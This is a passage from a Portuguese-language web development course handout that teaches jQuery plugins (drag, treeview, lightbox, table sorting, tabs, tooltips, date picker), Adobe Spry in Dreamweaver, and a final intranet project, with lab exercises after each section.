Veja abaixo um exemplo diferenciando o da implementação feita com JQuery:

$(”a”).click(function(){

alert(”Voce clicou!”);

});

Neste exemplo estamos dizendo que todo e qualquer link (TAG “A”) ao ser clicado (evento onclick) irá executar a mensagem “ Você clicou!”.

Ou seja, em 3 linhas você consegue expressar uma serie de testes e configurações com inúmeros comportamentos vinculados a eventos por exemplo.

Imagine que você deseje selecionar todas as tags DIV do seu documento:

Java Script:

document.getElementsByTagName(“div”);

JQuery:

$(“div”);

Agora suponhamos que você queira selecionar uma DIV com um ID especifico:

Java Script:

Document.getElementsById(“id_da_div”);

JQuery:

$( “#id_da_div”);

Pegando um exemplo pratico, suponhamos que você queria esconder todas as tags “P” de um elemento especifico:

http://jquery.com/


64

JQuery:

$( “p”, “id_da_div”).hide();

Fácil não? Alem de poder manipular os eventos e propriedades dos elementos, o JQuery conta com efeitos visuais pré-definidos, veja o exemplo:

$(“p”).fadeIn(“slow”);

$(“p”).fadeOut(“slow”);

$(“p”).fadeTo(“slow”, 0.5);

Neste exemplo estamos atribuindo o efeito de Fade (Esmaecimento) a todas as tags P do documento.

Dentre as atribuições, algumas mais usadas nos nossos dias como a manipulação de eventos também seguem a facilidade e simplicidade no uso:

Veja o código HTML abaixo:

<div id="menu">

<p>www.vipertech.com.br</p>

</div>

<button id="botao">Clique aqui</button>

Criaremos agora o script que manipula o evento do botão do formulário:

$("botao").click( function() {

$("p", "menu" ).fadeOut ("slow");

});

O que estamos fazendo é simples e bem fácil de compreender, procuramos o elemento Botão dentro do documento, e atribuímos uma função ao evento CLICK, que consiste em aplicar o efeito FADEOUT ao parágrafo nomeado MENU.

Como você já deve ter observado, só neste exemplo poupamos a escrita de inúmeras linhas de código, ganhando muito tempo de implementação.

Por fim na JQuery temos métodos simples, como o que simula a função innerHTML do Java Script:

("div").html("<b>Novo Nó HTML</b>");

E atributos de imagem:


65

("botao").click( function() {

("img").attr("src","img/editar.png");

});

A documentação do site em que você baixa a biblioteca é bem completa, sendo que muito material e exemplos são encontrados facilmente na internet, devido a rápida difusão deste material. A seguir usaremos algumas outras bibliotecas livres para criarmos uma funcionalidade no mínimo interessante para o nosso site.

Laboratório:

1. Crie um texto com efeito de rolagem

2. Crie um texto com efeito de esmaecimento e reaparecimento

3. Crie um texto com efeito de desaparecimento sem ocupar mais especo que ocupava anteriormente

4. Crie um texto com efeito de desaparecimento ainda mantendo o especo que ocupava anteriormente

5. Crie um texto com efeito que simule piscar

6.3 Criando uma janela arrastável

Recursos como o drag são muito usados em documentos que permitem certa interação do usuário com o site. Realizar esse processo não é muito complicado, sendo o problema maior está em fazer algo que funcione em diversos navegadores (crossbrowsser). Utilizando-se dos recursos da biblioteca JQuery, e a junção de mais duas outras bibliotecas (iutil.js e idrag.js) iremos implementar de maneira rápida este recurso tão atraente.]

Primeiramente baixe os dois arquivos faltantes no seguinte endereço:

http://interface.eyecon.ro/download

Após ter realizado o download teremos que incluir nesta ORDEM os três arquivos em nosso documento HTML:

<script type="text/javascript" src="jQuery.js"></script>

<script type="text/javascript" src="iutil.js"></script>

http://interface.eyecon.ro/download


66

<script type="text/javascript" src="idrag.js"></script>

Após este processo voce ira criar uma DIV com um ID, a qual chamaremos de NOTICIAS. Coloque algum conteúdo dentro desta DIV, sendo que podemos ter qualquer coisa dentro dela.

Veja o exemplo abaixo:

<div id="noticias">

<table width="200" height="200" bgcolor="#CCCCCC">

<tr>

<td align="center">Arraste</td>

</tr>

</table>

</div>

Após iremos simplesmente implementar o script com a JQuery capaz de realizar o processo de DRAG and DROP desta DIV.

Observe o código abaixo:


$(document).ready(

function()

{

$('#noticias').Draggable(

{

ghosting: true,

opacity: 0.5

}

);

}

);

</script>


67

O significado lógico deste script é que ao carregarmos o documento, uma função é executada e rasteia o documento atual procurando um elemento chamado NOTICIAS, atribuindo a propriedade DRAGGABLE presente na classe IDRAG. Alguns efeitos como GHOSTING: rastro, OPCITY: opacidade. Sendo que caso desejemos aplicar estes efeitos em outros elementos, basta apenas replicar o bloco referente à DIV.

Vejamos mais alguns exemplos de parâmetros que a função DRAGGABLE possui:

snapDistance: Este parâmetro defini quantos pixels os objeto deve ser movimentado para que seja iniciado o processo de “arrastar”. Isto serve basicamente para evitar que ocorra uma movimentação acidental

frameClass: é a definição da classe que será aplicada ao objeto no momento da seleção. ghosting: Ao invés de arrastar o objeto, é criado uma cópia dele e você acaba arrastando a cópia, quando soltar o objeto original segue até o ponto que você solto.

opacity: Aplica uma opacidade na cópia do objeto.

revert: Você arrasta o objeto e ele retorna para o ponto inicial.

grid: [x, y]: Mover em grade. Faz com que o objeto mova-se de tantos em tantos pixels no eixo (x e y).

axis: 'vertically' ou 'horizontally' : Moverá o objeto ou apenas na vertical ou na horizontal. Para criara barras por exemplo.

zIndex: Define a camada que o objeto irá ocupar.

cursorAt: { top: x, left: y }: Faz com que o bloco siga o ponteiro do mouse em determinada coordenada. containment: 'parent': Determina se o objeto poderá se mover dentro do objeto onde está contido ou se poderá mover-se por todo o documento.

handle: 'alvo': Este parâmetro serve para você usar um determinado objeto dentro do bloco que deseja arrastar para ser seu ponto de arrasto. Como se fosse só naquele ponto onde se pode arrastar o objeto.

Laboratório


68

1. Crie uma lista de 9 itens que só possam ser arrastados para uma área chamada “carrinho de compras”

2. Crie 5 imagens no formato de x e 5 no formato de bola. Crie uma tabela de 3 x 3 e permita que as imagens possam ser arrastadas para as células desta tabela

3. Crie um três objetos em camadas diferentes que possam ser manipulados por todo o documento.


69

6.4 Criando uma “ávore de menus”

Um dos recursos mais interessantes da biblioteca jquery é a criação de menus na estrutura de árvores. Este processo que já é bem utilizado com javascript, mas a biblioteca jquery tornou este processo bem mais simples.

Para realizar estas atividades é necessário baixar:

jquery.treeview.js

treeview.css

Nosso objetivo final é uma tela como a tela abaixo:


70

Bem então vamos incluir os arquivos necessários para a execução:

<script src="../lib/jquery.js" type="text/javascript"></script>

<script src="../jquery.treeview.js" type="text/javascript"></script>

<link rel="stylesheet" href="../jquery.treeview.css" />

Logo após vamos incluir o código jquery

<script>

$(document).ready(function(){

// first example

$("#navigation").treeview({

persist: "location",

collapsed: true,

unique: true

});

});

</script>

Por fim colocamos a estrutura HTML que irá representar a estrutura propriamente dita:


71

<h4>Exemplo de Menu em Árvore</h4>

<ul id="navigation">

<li><a href="?1">Item 1</a>

<ul>

<li><a href="?1.0">Item 1.0</a>

<ul>

<li><a href="?1.0.0">Item 1.0.0</a></li>

</ul>

</li>

<li><a href="?1.1">Item 1.1</a></li>

<li><a href="?1.2">Item 1.2</a>

<li><a href="?1.3">Item 1.3</a>

<ul>

<li><a href="?1.2.0">Item 1.2.0</a>

<ul>

<li><a href="?1.2.0.0">Item 1.2.0.0</a></li>

<li><a href="?1.2.0.1">Item 1.2.0.1</a></li>

<li><a href="?1.2.0.2">Item 1.2.0.2</a></li>

</ul>

</li>

<li><a href="?1.2.1">Item 1.2.1</a>

<ul>

<li><a href="?1.2.1.0">Item 1.2.1.0</a></li>

</ul>

</li>

<li><a href="?1.2.2">Item 1.2.2</a>

<ul>

<li><a href="?1.2.2.0">Item 1.2.2.0</a></li>

<li><a href="?1.2.2.1">Item 1.2.2.1</a></li>

<li><a href="?1.2.2.2">Item 1.2.2.2</a></li>

</ul>


72

</li>

</ul>

</li>

</ul>

</li>


<ul>

<li><span>Item 2.0</span>

<ul>

<li><a href="?2.0.0">Item 2.0.0</a>

<ul>

<li><a href="?2.0.0.0">Item 2.0.0.0</a></li>

<li><a href="?2.0.0.1">Item 2.0.0.1</a></li>

</ul>

</li>

</ul>

</li>

<li><a href="?2.1">Item 2.1</a>

<ul>

<li><a href="?2.1.0">Item 2.1.0</a>

<ul>

<li><a href="?2.1.0.0">Item 2.1.0.0</a></li>

</ul>

</li>

<li><a href="?2.1.1">Item 2.1.1</a>

<ul>

<li><a href="?2.1.1.0abc">Item 2.1.1.0</a></li>

<li><a href="?2.1.1.1">Item 2.1.1.1</a></li>

<li><a href="?2.1.1.2">Item 2.1.1.2</a></li>

</ul>

</li>

<li><a href="?2.1.2">Item 2.1.2</a>

<ul>


73

<li><a href="?2.1.2.0">Item 2.1.2.0</a></li>

<li><a href="?2.1.2.1">Item 2.1.2.1</a></li>

<li><a href="?2.1.2.2">Item 2.1.2.2</a></li>

</ul>

</li>

</ul>

</li>

</ul>

</li>


<ul>

<li class="open"><a href="?3.0">Item 3.0</a>

<ul>

<li><a href="?3.0.0">Item 3.0.0</a></li>

<li><a href="?3.0.1">Item 3.0.1</a>

<ul>

<li><a href="?3.0.1.0">Item 3.0.1.0</a></li>

<li><a href="?3.0.1.1">Item 3.0.1.1</a></li>

</ul>

</li>

<li><a href="?3.0.2">Item 3.0.2</a>

<ul>

<li><a href="?3.0.2.0">Item 3.0.2.0</a></li>

<li><a href="?3.0.2.1">Item 3.0.2.1</a></li>

<li><a href="?3.0.2.2">Item 3.0.2.2</a></li>

</ul>

</li>

</ul>

</li>

</ul>

</li>

</ul>


74

Laboratório

1. Crie um menu em árvore que tenha suas informações oriundas de um XML

2. Crie um menu em árvore que tenha suas informações oriundas de uma tabela de um banco de dados

6.5 Criando efeito “lightBox”

Um dos efeitos mais famosos do uso de Ajax é o LightBox. A forma de realizá-lo que anteriormente exigia uma gama significativa de comandos, hoje é substituída por poucas linhas em jquery.

Para executar este efeito baixe:

jquery.lightbox-0.4.js

jquery.lightbox-0.4.css

Realize os includes para estes arquivos

<script type="text/javascript" src="jquery.js"></script>

<script type="text/javascript" src="jquery.lightbox-0.4.js"></script>

Os links para as imagens podem ter uma formatação parecida com esta:

<a href="imagem_grande.jpg"><img src="imagem_pequena.jpg" width="72"

height="72" alt="" /></a>

Para ativar o recurso basto inserir o seguinte script:


$(function() {

$('a[@rel*=lightbox]').lightBox(); // Seleciona todos os links que contem

o valor lightbox no atributo rel

$('#galeria a').lightBox(); // Seleciona todos os links do objeto com o

id galeria

$('a.lightbox').lightBox(); // Seleciona todos os links da classe

lightbox


75

$('a').lightBox(); // Seleciona todos os links da página

});

</script>

Laboratório.

1. Crie uma galeria com 3 imagens e utiliza o efeito lightbox

6.6 Ordenando tabelas

O resultado de um arquivo XML ou mesmo aqueles que são retornados diretamente do banco de dados, nem sempre se apresentam na ordenação desejada pelo usuário. Por isto é muito comum criarmos ordenação de colunas através dos títulos das mesmas.

A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe o seguinte arquivo:

jquery.tablesorter.min.js

Nosso objetivo final é uma tela semelhante a esta:

Vamos então linkar os arquivos necessários:


<script type="text/javascript"

src="jquery.tablesorter.min.js"></script>

Inserimos o script jquery

<script>


76

$(document).ready(function()

{

$("#myTable").tablesorter( {sortList: [[0,0], [1,0]]} );

}

);

</script>

Por fim o código HTML:

<table id="myTable" class="tablesorter">

<thead>

<tr>

<th>Last Name</th>

<th>First Name</th>

<th>Email</th>

<th>Due</th>

<th>Web Site</th>

</tr>

</thead>

<tbody>

<tr>

<td>Smith</td>

<td>John</td>

<td>[email protected]</td>

<td>$50.00</td>

<td>http://www.jsmith.com</td>

</tr>

<tr>

<td>Bach</td>

<td>Frank</td>


<td>$50.00</td>

<td>http://www.frank.com</td>

</tr>

<tr>


77

<td>Doe</td>

<td>Jason</td>


<td>$100.00</td>

<td>http://www.jdoe.com</td>

</tr>

<tr>

<td>Conway</td>

<td>Tim</td>


<td>$50.00</td>

<td>http://www.timconway.com</td>

</tr>

</tbody>

</table>

Laboratório:

1. Crie uma tabela com possibilidade de ordenação que tenha seu dados originados de um arquivo XML.

2. Crie uma tabela com possibilidade de ordenação que tenha seu dados originados de uma tabela de um banco de dados.

6.7 Amplinado Imagens

A ampliação de imagem tem é um recurso largamente utilizado em sites de e-commerce por proporcionar ao usuário uma visão mais detalhada do produto.


js/jquery.jqzoom.js



78



<script type="text/javascript" src=" jquery.jqzoom.js"></script>



jQuery.noConflict();

jQuery(document).ready(function(){

$("img.jqzoom").jqueryzoom({

xzoom: 200, //largura do div de zoom(o valor padrão

é 200)

yzoom: 200, // altura do div de zoom (o valor

padrão é 200)

offset: 10 //intensidade do zoom (o valor padrão é

10)

//position: "right" //posição do div do zoom(o

valor padrão é “rigth”)

});

});

</script>


<div id="wrapper">


79

<div id="maincontent">

<div style="float:left;width:100%;clear:both;"><span

class="tozoom"><img src="images/shoe1_small.jpg" class="jqzoom"

alt="images/shoe1_big.jpg"></span>

<span class="tozoom"><img

src="images/shoe2_small.jpg" class="jqzoom"








</div>

<span style="float:left;width:100%;height:200px;"> </span>

</div>

Laboratório:

Crie uma galeria de fotos com 4 fotos que suas ampliações sempre apareçam no mesmo local.

6.8 Criando Avaliações

A avaliação de um atendimento, vendedor, cliente ou produto é um recurso largamente utilizado em sites de e-commerce por proporcionar ao usuário uma visão mais detalhada do item.


rating.js

rating.css

Images: star.gif, delete.gif


http://php.scripts.psu.edu/rja171/widgets/rating.js

http://php.scripts.psu.edu/rja171/widgets/rating.css

http://php.scripts.psu.edu/rja171/widgets/star.gif

http://php.scripts.psu.edu/rja171/widgets/delete.gif


80



<script type="text/javascript" src="rating.js"></script>



$(document).ready(function() {

$('#star1').rating('www.url.php', {maxvalue: 1});

$('#star2').rating('www.url.php', {maxvalue:1, curvalue:1});

$('#rate1').rating('www.url.php', {maxvalue:5});

$('#rate2').rating('www.url.php', {maxvalue:5, curvalue:3});

});

</script>


<div id="star1" class="rating"> </div>

<div id="star2" class="rating"> </div>

<div id="rate1" class="rating"> </div>

<div id="rate2" class="rating"> </div>

Laboratório:


81

Crie uma lista de vendedores, uma avaliação para cada um e armazene em banco a avaliação deles.

6.9 Menus em Abas

Os menus em abas são muito uteis para poupar espaço e tornar o ambiente mais interessante.


jquery-ui-personalized-1.5.2.packed.js

sprinkle.js




<script type="text/javascript" src="rating.js"></script>


82

O código css:

* {

margin: 0;

padding: 0;

}

body {

font-size: 75%;

color: #222;

background: #ffffff;

font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;

line-height: 1.6em;

}

.widget {

width: 310px;

margin: 20px;

padding: 10px;

background: #f3f1eb;

border: 1px solid #dedbd1;

margin-bottom: 15px;

}

.widget a {

color: #222;

text-decoration: none;

}

.widget a:hover {

color: #009;

text-decoration: underline;

}


83

.tabnav li {

display: inline;

list-style: none;

padding-right: 5px;

}

.tabnav li a {


text-transform: uppercase;

color: #222;

font-weight: bold;

padding: 4px 6px;

outline: none;

}

.tabnav li a:hover, .tabnav li a:active, .tabnav li.ui-tabs-selected

a {

background: #dedbd1;

color: #222;


}

.tabdiv {

margin-top: 2px;

background: #fff;

border: 1px solid #dedbd1;

padding: 5px;

}

.tabdiv li {

list-style-image: url("star.png");

margin-left: 20px;


84

}

.ui-tabs-hide {

display: none;

}


$(document).ready(function() {

$('#tabvanilla > ul').tabs({ fx: { height: 'toggle', opacity:

'toggle' } });

});


<div id="tabvanilla" class="widget">

<ul class="tabnav">

<li><a href="#popular">Popular</a></li>

<li><a href="#recent">Recent</a></li>

<li><a href="#featured">Featured</a></li>

</ul>

<div id="popular" class="tabdiv">

<ul>

<li><a href="#">Welsh Zombie Sheep Invasion</a></li>

<li><a href="#">Sheep Rising From The Dead</a></li>

<li><a href="#">Blogosphere Daily Released!</a></li>

<li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li>

<li><a href="#">U2 Rocks New York's Central Park</a></li>

<li><a href="#">TA Soldiers Wear Uniforms To Work</a></li>

<li><a href="#">13 People Rescued From Flat Fire</a></li>

<li><a href="#">US Troops Abandon Afghan Outpost</a></li>

85

<li><a href="#">Are We Alone? A Look Into Space</a></li>

<li><a href="#">Apple iPhone 3G Released</a></li>

</ul>

</div>

<div id="recent" class="tabdiv">

<p>Lorem ipsum dolor sit amet.</p>

</div>

<div id="featured" class="tabdiv">

<ul>

<li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li>

<li><a href="#">Are We Alone? A Look Into Space</a></li>

<li><a href="#">U2 Rocks New York's Central Park</a></li>

<li><a href="#">TA Soldiers Wear Uniforms To Work</a></li>

<li><a href="#">13 People Rescued From Flat Fire</a></li>

<li><a href="#">US Troops Abandon Afghan Outpost</a></li>

<li><a href="#">Sheep Rising From The Dead</a></li>

<li><a href="#">Blogosphere Daily Released!</a></li>

<li><a href="#">Apple iPhone 3G Released</a></li>

<li><a href="#">Welsh Zombie Sheep Invasion</a></li>

</ul>

</div>

</div>

Laboratório:

Crie uma lista de notícias, produtos em destaque e emails que tenham sua origem em tabelas de banco de dados.

6.10 Exibindo dicas em links


86

Um recurso bastante interessante é a existência de “dicas” sobre os links, com informações sobre os mesmos antes do clique do usuário.


jtip.js



<script src="js/jquery.js" type="text/javascript"></script>

<script src="js/jtip.js" type="text/javascript"></script>


<div id="contentPad">

<p><strong>Roll over a question mark:</strong></p>

<label style="padding-right:5px">Password</label><input name=""

type="text" /><span class="formInfo"><a href="ajax.htm?width=375"

class="jTip" id="one" name="Password must follow these

rules:">?</a></span>


87

<br />

<br />

<label style="padding-right:5px">User ID</label><input name=""

type="text" /><span class="formInfo"><a href="ajax2.htm?width=475"

class="jTip" id="two" name="">?</a></span>

<p><strong>Try adjusting the browser window so the links in the

paragraphs below are as close to the right side of the window as

possible. Roll over a link in the paragraphs below. This demonstrates how

the tool tip will flip horizontally depending upon the space between the

tool tip and the right side of the window. Don't worry the script also

accounts for the custom widths.</strong></p>

<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam

nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat

volutpat. Ut <a href="ajax4.htm?width=475" class="jTip" id="six"

name="Window caption or title">Tip With Caption</a> enim ad minim veniam,

quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip

ex ea commodo consequat.</p>

<p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse

molestie consequat, vel illum dolore eu <a href="ajax3.htm?width=375"

class="jTip" id="three">Tip No Caption</a> feugiat nulla facilisis at

vero eros et accumsan et iusto odio dignissim qui blandit praesent

luptatum zzril augue duis dolore te feugait nulla facilisi. Lorem ipsum

dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh

euismod tincidunt ut <a href="ajax5.htm" class="jTip" id="four"

name="Window caption or title">No Specified Width</a> et dolore magna

aliquam erat volutpat.</p>

<p><strong>The link below demonstrates a tool tip on a text link that

allows for the link to accommodate an additional URL (using a query

string). So that a link will functions as expect if clicked. Notice the

cursor change.</strong></p>

</div>

Note que não houve a necessidade de especificar uma função em jquery, pois a mesma está inserida no arquivo jtip.

Para que a dica seja exibida, basta definir o link como peretencente a classe jtip e o seu respectivo href como sendo a página que contem o texto da dica.

Laboratório:


88

Crie um texto que contenha pelo menos 5 dicas.

6.11 Exibindo um Calendário

Para preenchimento de formulários em geral é muito comum a utilização de calendários com o objetivo de facilitar a vida do usuário.

A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe os seguintes arquivos:

date.js

jquery.datePicker.js

datePicker.css


http://www.kelvinluck.com/assets/jquery/datePicker/v2/demo/styles/datePicker.css


89


<script type="text/javascript" src="scripts/date.js"></script>


src="scripts/jquery.datePicker.js"></script>

<link rel="stylesheet" type="text/css" media="screen"

href="styles/datePicker.css">


<script type="text/javascript" charset="utf-8">

$(function()

{

$('.date-pick').datePicker({autoFocusNextInput: true});

});

</script>



90

<form name="chooseDateForm" id="chooseDateForm" action="#">

<fieldset>

<legend>Test date picker form</legend>

<ol>

<li>

<label for="date1">Date 1:</label>

<input name="date1" id="date1" class="date-pick" />

</li>

<li>

<label for="date2">Date 2:</label>

<input name="date2" id="date2" class="date-pick" />

</li>

<li>

<label for="test-select">Test select:</label>

<select name="test-select" id="test-select" style="width: 170px">

<option value="1">Test SELECT </option>

<option value="2">Doesn't shine through</option>

<option value="3">Even in IE</option>

<option value="4">Yay!</option>

</select>

</li>

</ol>

</fieldset>

</form>

Laboratório:

Crie um formulário para reserva de passagens e valide se a data de saída é menor que a data de retorno.


91

Unidade 7 - Dreamweaver e o Ajax

A utilização do Dreamweaver é apenas um exemplo de ferramenta desta tecnologia, poderia ser utilizado outro editor da preferência do usuário ou até mesmo o bloco de notas.

7.1 Abordagem simples sobre os componentes do SPRY

Por tornar-se tão rapidamente um artifício de fácil acesso e desenvolvimento, alguns aplicativos comuns no ambiente de desenvolvimento web acabaram tornando-se acessíveis ao Ajax. Um deles, o qual é muito conhecido e utilizado é o Adobe Dreaweaver CS 3. Alem dos componentes conhecidos para o desenvolvimento de diversas linguagens, no âmbito tanto da programação quanto visual um novo meio de inserir animações dinâmicas e acesso rápido a dados XML surgiu, o SPRY.

O Spry é um framework client side em forma de bibliotecas Java Script, apesar de desenvolvido pela Adobe pode ser utilizado por qualquer editor HTML, para saber mais sobre a ferramenta e suas atualizações você pode acessar o site:

labs.adobe.com/technologies/spry/

Baseado em elementos e métodos do DOM, juntamente com a tecnologia XML esse modulo destaca-se pela sua facilidade de acesso no Dreaweaver CS3.

Para acessar os componentes do Spry no Dreamweaver CS3 siga as instruções abaixo:

Seguindo o menu apresentado você verá a apresentação dos seguintes componentes respectivamente:


92

Spry Xml Data Set: é o principal componente da utilização do Spry, nele você ira configurar os dados e o documento XML fonte de onde estes dados serão lidos para o documento HTML que estamos confeccionando.

Ao clicar neste item, a seguinte tela será apresentada:

Você deverá definir um nome para o Dataset, container que receberá os dados do arquivo XML lido.

Através do botão BROWSE, selecione um arquivo XML, no nosso caso iremos selecionar um arquivo semelhante a estrutura apresentada abaixo:

<?xml version="1.0" encoding="utf-8"?>

<cidades>

<cidade>

<id_cidade>1</id_cidade>

<nome>Alvorada</nome>

</cidade>

<cidade>

<id_cidade>14</id_cidade>


93

<nome>Porto Alegre</nome>

</cidade>

</cidades>

</municipios>

Clique a seguir em Get Schema e a estrutura hierárquica do documento XML será apresentada na janela de dialogo logo abaixo:

Nas opções abaixo você poderá selecionar o tipo de dado (Data type) que está contido dentro dos nodos principais do XML.

O campo Sort é responsável pela ordenação dos dados lidos no XML, onde podemos também selecionar a direção de leitura (Direction) como Ascendente (Ascending) ou Descendente (Descending).

Uma das opções relevantes nesta estrutura de configuração é a opção “Turn XML Data Caching Off, em que você pode solicitar que o próprio script do Spry atualize a leitura dos dados do arquivo XML a cada “n” Segundos, evitando assim que o mesmo não seja mantido em cachê e que os dados fiquem desatualizados.

Após ter selecionado as opções desejadas, clique em OK.

Praticamente no modo de layout do documento nada ira ser afetado, entretanto se analisarmos o código fonte do arquivo HTML notaremos algumas novidades:

<script src="SpryAssets/xpath.js" type="text/javascript"></script>

<script src="SpryAssets/SpryData.js" type="text/javascript"></script>

94




</script>

Se você observar verá que dois novos arquivos .JS estão sendo utilizados no seu arquivo, estes foram copiados automaticamente pelo Dreamweaver para o diretório raiz onde encontra-se este documento. Ambos são necessários para que a futura aplicação funcione, sendo estes os mantenedores dos arquivos da biblioteca Spry.

Vamos agora selecionar o segundo componente da barra de itens do Spry:

Spry Region: como você já esta acostumado, quando trabalhamos com formulários em nosso site é comum utilizarmos as tags FORM dentro do nosso documento, delimitando qual será a área que possuirá os componentes do nosso formulário. Da mesma maneira deveremos prosseguir com a utilização do Spry, então clique no item mencionado, e a seguinte caixa de dialogo será apresentada:

Aqui você pode selecionar se ira preferir que esta região do Spry seja atribuída à uma DIV ou SPAN, logo após clique em OK.

Uma linha pontilhada em preto com o comentário “Content for Spry Region Goes Here” aparecerá no modo layout, sendo que todo e qualquer componente que acesse os dados dinâmicos via Spry deverá ser adicionado dentro desta área.

Você pode apagar estar mensagem, e a seguir passar para o próximo passo:


95

Spry Table este item é interessante, pois será responsável por criar uma lista de repetição com os dados que foram localizados dentro do XML dentro de uma tabela, note que ao selecionar este item, a seguinte caixa de dialogo será exibida:

Dentre as configurações existentes, devemos ressaltar a opção “Sort Column when Header is Clicked”, ou seja, ordenar as colunas conforme os cliques em seus cabeçalhos. Esta opção se selecionada facilita muito a vida do usuário quando tratamos de listar dados em forma de relatórios por exemplo, onde é de extrema importância a ordenação por colunas.

Como você pôde observar a utilização de arquivos XML em conjunto com novos e inúmeros componentes da web estão cada vez mais aproximando o acesso a internet das funcionalidades do desktop. Por fim iremos a seguir ver outra grande utilidade dos componentes SPRY da Adobe, a transição de elementos no documento.

7.2 Efeitos SPRY com SPRY Effects

Efeitos de transição são muito comuns em arquivos animados como os feitos em FLASH, ou em Silverlight da Microsoft, entretanto esta funcionalidade antes mal vista pelo desenvolvedores web por sua complexidade de ser implementada em paginas estáticas sendo cada vez mais adotada. Devido a sua leveza e a compatibilidade com inúmeros navegadores os efeitos com DOM e Ajax se tornam cada vez mais populares e de fácil manipulação.

Visite o endereço abaixo:


96

http://labs.adobe.com/technologies/spry/demos/effects/

A Adobe disponibilizou um Demo de alguns efeitos que podem ser criados com o SPRY sem a necessidade de muito conhecimento na área de desenvolvimento.

Efeitos como Grow (crescer), Shrink (encolher), Fade (esmaecer) entre outros estão disponíveis para uso dentro da biblioteca Spry effects.

Veja abaixo o exemplo de como aplicar um efeito de Fade usando o código Spry em sua pagina:

Insira os seguintes arquivos nesta exata ordem no documento HTML:

<link href="effects.css" rel="stylesheet" type="text/css" />

<link href="../css/screen.css" rel="stylesheet" type="text/css" />


src="../../includes/SpryEffects.js"></script>

<script type="text/javascript" src="effects.js"></script>

Dentro do corpo do seu documento você deverá atribuir um evento a uma tag de sua preferência, como no nosso exemplo abaixo em que atribuímos o efeito a um link:

<a href="#" onclick="runEffect('Fade', 'product_box', {duration: 1000,

from: 100, to: 0, toggle: true}, '');">Fade</a>

Dentro desta sintaxe alguns parametros são passados visando configurar o efeito que será executado no evento:

runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0,

toggle: true}

Onde:

Fade: efeito;

product Box: nome da DIV ou elemento que sofrerá o efeito.

Duartion: duração em milisegundos do efeito.

From: de onde começa (valor em %).

To: onde termina (valor em %).

http://labs.adobe.com/technologies/spry/demos/effects/


97

Toggle: repetição (true = não repete, false = repete).

Verifique o efeito no documento criado, e experimente aplicar os outros efeitos disponíveis no site da Adobe.

Aplicando efeitos Spry pelo Dreamweaver

Para aplicar este efeito pela interface do Drewamweaver, primeiramente crie um elemento novo, uma DIV por exemplo, e atribua um nome a ela:

<div id="noticia">

Esta é uma noticia!

</div>

A seguir crie um link, e clique sobre ele:

<a href=”#”>Clique aqui</a>

Com o link selecionado no modo design, clique no menu lateral e selecione a guia TAG – Behaviors – Effects – Appear Fade.

Veja a imagem abaixo:


98

Uma caixa de dialogo será exibida solicitando que você aponte qual será o elemento que receberá o efeito, selecione então a DIV NOTICIA que você acabou de criar:

Agora clique em OK e visualize o documento no seu navegador.

Pronto! De forma rápida e simples você aplicou o efeito em um elemento sem a necessidade de mexer no código.


99

Unidade 8 - Trabalho final:

8.1 Aplicando os recursos na prática:

Visando fixar o material visto ao longo do curso, vamos agora implementar uma solução que aborda todo conteúdo visto.

Projeto: interface inicial de uma intranet com conteúdo dinâmico acessível por Ajax.

Veja a imagem a seguir e baseie-se nela para construir a arquitetura do seu projeto:

Dentre os itens que estão sendo demonstrados, as janelas de conteúdo deverão ser arrastáveis e selecionáveis, e as opções de estados e cidades dos formulários de contato deverão utilizar Ajax no carregamento, evitando assim que a tela seja recarregada.

Não se apegue a detalhes de layout, aplique apenas as funcionalidades solicitadas.


100

DESENVOLVIMENTO DE INTERFACES NA...

Documents

Transcript of DESENVOLVIMENTO DE INTERFACES NA...